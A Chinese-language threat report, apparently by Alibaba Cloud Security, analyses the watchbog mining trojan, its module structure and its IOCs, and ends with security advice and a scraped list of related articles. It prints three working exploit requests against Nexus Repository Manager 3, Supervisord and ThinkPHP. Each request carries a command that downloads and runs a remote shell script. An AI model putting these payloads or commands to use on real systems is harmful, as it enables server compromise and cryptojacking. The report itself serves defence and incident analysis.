背景

近日,阿里云安全监测到watchbog挖矿木马使用新曝光的Nexus Repository Manager 3远程代码执行漏洞(CVE-2019-7238)进行攻击并挖矿的事件。

值得注意的是,这一攻击开始的时间(2月24日),与2月5日上述产品的母公司发布漏洞公告,相隔仅仅半个多月,再次印证了“漏洞从曝光到被黑产用于挖矿的时间越来越短”。此外,攻击者还利用了Supervisord, ThinkPHP等产品的漏洞进行攻击。

本文分析了该木马的内部结构和传播方式,并就如何清理、预防类似挖矿木马给出了安全建议。

挖矿木马传播分析

攻击者主要通过直接攻击主机服务的漏洞,来进行木马的传播,也就是说它目前不具备蠕虫的传染性,这一点上类似8220团伙。即便如此,攻击者仍然获取了大量的肉鸡。

尤其2月24日,攻击者从原本只攻击ThinkPHP和Supervisord,到加入了Nexus Repository Manager 3的攻击代码,可以看到其矿池算力当天即飙升约3倍,达到了210KH/s左右(盈利约25美元/天),意味着最高时可能有1~2万台主机受控进行挖矿。

以下为阿里云安全采集到的3种攻击payload

(1) 针对Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238)的利用

POST /service/extdirect HTTP/1.1
Host: 【victim_ip】:8081
X-Requested-With: XMLHttpRequest
Content-Type: application/json {"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "233.class.forName('java.lang.Runtime').getRuntime().exec('curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby')"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"}

(2)针对Supervisord远程命令执行漏洞(CVE-2017-11610)的利用

POST /RPC2 HTTP/1.1
Host: 【victim_ip】:9001
Content-Type: application/x-www-form-urlencoded <?xml version=\"1.0\"?>\u0002<methodCall>\u0002<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>\u0002<params>\u0002<param>\u0002<string>curl https://pastebin.com/raw/zXcDajSs -o /tmp/baby</string>\u0002</param>\u0002</params>\u0002</methodCall>

(3)针对ThinkPHP远程命令执行漏洞的利用

POST /index.php?s=captcha HTTP/1.1
Host: 【victim_host】
Content-Type: application/x-www-form-urlencoded _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby; bash /tmp/baby

以上三种payload的目的都是相同的,那就是控制主机执行以下命令

curl -fsSL https://pastebin.com/raw/zXcDajSs -o /tmp/baby; bash /tmp/baby

木马功能结构分析

被攻击的主机受控访问 https://pastebin.com/raw/zXcDajSs ,经多次跳转后,会得到如下图所示的shell脚本,其包含cronlow(), cronhigh(), flyaway()等多个函数。

分析后得出,该脚本主要包含以下几个模块:

1.挖矿模块

挖矿模块的download()函数,会从https://ptpb.pw/D8r9 (即$mi_64解码后的内容)下载由xmrig改写的挖矿程序,保存为/tmp/systemd-private-afjdhdicjijo473skiosoohxiskl573q-systemd-timesyncc.service-g1g5qf/cred/fghhhh/data/watchbog,并从https://ptpb.pw/hgZI 下载配置文件,之后启动挖矿。

另一个函数testa()也是类似,只不过它下载的是xmr-stak挖矿程序。

2.持久化模块

将要执行的恶意命令写入/etc/cron.d/root等多个文件

3.c&c模块

c&c模块主要在dragon()和flyaway()函数中实现。

如下图所示为解码后的dragon函数

它会依次请求https://pastebin.com/raw/05p0fTYd 等多个地址,并执行收到的命令。有趣的是,这些地址目前存放的都是一些普通单词,可能是木马作者留待将来使用。

flyaway()函数则与dragon()稍有不同,它会先从https://pixeldra.in/api/download/8iFEEg 下载/tmp/elavate。

逆向可知,/tmp/elavate是使用Ubuntu本地权限提升漏洞(CVE-2017-16995)进行提权的二进制程序。提权后,尝试以root权限执行从https://pastebin.com/raw/aGTSGJJp 获取的命令。

安全建议

阿里云安全已和pastebin.com进行联系,要求禁止对上述恶意下载链接的访问,对方暂未回应。此外,云安全为用户提供如下安全建议:

  1. 互联网上攻击无处不在,用户平时应及时更新服务,或修补服务漏洞,避免成为入侵的受害者。
  2. 建议使用阿里云安全的下一代云防火墙产品,其阻断恶意外联、能够配置智能策略的功能,能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明,下载、挖矿、反弹shell这些操作,都需要进行恶意外联;云防火墙的拦截将彻底阻断攻击链。此外,用户还可以通过自定义策略,直接屏蔽pastebin.com、thrysi.com等广泛被挖矿木马利用的网站,达到阻断入侵的目的。
  3. 对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。入侵事件发生后,也可介入直接协助入侵后的清理、事件溯源等,适合有较高安全需求的用户,或未雇佣安全工程师,但希望保障系统安全的企业。

IOC

矿池地址:
pool.minexmr.com:443

钱包地址:
44gaihcvA4DHwaWoKgVWyuKXNpuY2fAkKbByPCASosAw6XcrVtQ4VwdHMzoptXVHJwEErbds66L9iWN6dRPNZJCqDhqni3B

相关文件:

其他恶意url:

https://pastebin.com/raw/AgdgACUD
https://pastebin.com/raw/vvuYb1GC
https://pixeldra.in/api/download/nZ2s4L (用来下载32位XMR挖矿程序,链接已失效)
https://pastebin.com/raw/aGTSGJJp (目前不存在)
https://pastebin.com/raw/05p0fTYd
https://pastebin.com/raw/KxWPFeEn
https://pastebin.com/raw/X6wvuv98

Reference

    1. https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019
    2. https://cloud.tencent.com/developer/article/1390628
    3. https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c

原文链接
更多技术干货 请关注阿里云云栖社区微信号 :yunqiinsight

威胁快报|Nexus Repository Manager 3新漏洞已被用于挖矿木马传播,建议用户尽快修复的更多相关文章

  1. Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞分析和复现

    0x00 漏洞背景 Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库.其3.14.0及之前版本中,存在一处基于OrientDB自 ...

  2. Nexus Repository Manager 3(CVE-2019-7238) 远程代码执行漏洞复现

    0x00 漏洞背景 Nexus Repository Manager 3是一款软件仓库,可以用来存储和分发Maven,NuGET等软件源仓库.其3.14.0及之前版本中,存在一处基于OrientDB自 ...

  3. Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199、CVE-2020-10204)

    [影响版本] Nexus Repository Manager OSS/Pro 3.x <= 3.21.1 poc地址 https://github.com/magicming200/CVE-2 ...

  4. Maven私服搭建(Nexus Repository Manager 3)

    下载和安装 下载地址:https://help.sonatype.com/repomanager3/download 注意:Nexus Repository Manager 3是一个Java服务器应用 ...

  5. Nexus Repository Manager OSS 3.x 安装配置

    前言想要使用maven搭建项目,但是国内的网络环境可以想象,还有公司自己开发的jar包等问题,所以需要搭建一个maven的私服,这样便于管理. 找了一些教程,顺便记下来,当做笔记. 本文以Window ...

  6. 使用 Nexus Repository Manager 搭建 npm 私服

    目录 环境 下载与安装 添加npm仓库 配置与验证npm仓库 发布自己的包 Nexus开启启动 脚注 环境 windows10(1803) Nexus Repository Manager OSS 3 ...

  7. [转] 使用HTTPS在Nexus Repository Manager 3.0上搭建私有Docker仓库

    FROM: https://www.hifreud.com/2018/06/06/03-nexus-docker-repository-with-ssl/ 搭建方式 搭建SSL的Nexus官方提供两种 ...

  8. Nexus Repository Manager OSS 代理 p2 源

    用maven管理构建Eclipse RCP项目时,可能会用到p2源: http://download.eclipse.org/releases/mars/ 内网用户肯定希望能通过nexus服务器代理, ...

  9. Sonatype Nexus Repository Manager版本3.14.2访问控制缺失及远程代码执行漏洞

    发现被执行的程序在xmrig在 /var/tmp/目录下 ,脚本文件内容为以下: curl -o /var/tmp/xmrig http://202.144.193.159/xmrig;curl -o ...

随机推荐

  1. 新启vue_cli项目+引入Element

    [1]安装vue_cli vue init webpack 项目名字 [2]安装Element-UI cnpm install element-ui -S //写入dependencies cnpm ...

  2. ElasticSearch入门介绍之会当凌绝顶(一)

    ElasticSearch也是一款非常优秀的开源的全文检索框架,以大名鼎鼎的Apache Lucene为基础,高度封装了更丰富,易用的API,同时与Apache Solr一样,提供了非常强大的分布式集 ...

  3. C++字符串前面加LR

    const std::experimental::filesystem::path symbolsFilename = LR"(d:\fulongtech_git\draing_recogn ...

  4. Twisted的WEB开发

    1   简介 在WEB开发中,偶尔需要对HTTP协议更多底层细节进行控制,这时的django/web.py等等显然无法满足要求,所以只好求助于Twisted了.使用Twisted进行WEB开发,其实更 ...

  5. EasyUI Tree与Datagrid联动

      效果图 这是一个简单的solr检索的例子   输入关键词,显示树   选择一个节点,得到该节点下文档信息   代码: JSP: 重点是标红的URL传递 <body>     <d ...

  6. Node.js学习(Node.js基础)

    1.开发环境搭建 v8引擎是作为解析JavaScript程序来运行的 nodejs是一个高性能的,第一个体现在他的JavaScript解析速度很快,v8引擎性能很高,第二个事件驱动和非阻塞 2.全局对 ...

  7. 2019-2019-2-20175332-实验三《敏捷开发与XP实践》实验报告

    一.编码标准 题目要求: 在IDEA中使用工具(Code->Reformate Code)把下面代码重新格式化,再研究一下Code菜单,找出一项让自己感觉最好用的功能. 实验步骤 1.安装ali ...

  8. php 怎样判断一段字符 有没有经过 urlencode 处理

    有没有百分号 判断字符串 执行urldecode 之前和之后是否一致 一致就是没有经过urlencode 不一致就是经过urlencode的 自己方法:判断是否所有: if(strpos($cooki ...

  9. Ubuntu连不上网一直提示连接已断开的解决方案

    win10搜索:服务 把VMware DHCP Service启动即可

  10. Acer笔记本蓝牙功能不可用

    在电脑运行过程中,本应该如下所存在的蓝牙图标不存在了: 打开设置,本应该可以选择开关的蓝牙开关按钮也不存在了: 电脑的蓝牙功能无法使用: 处理方法: 在C:\windows\sysytem32\文件夹 ...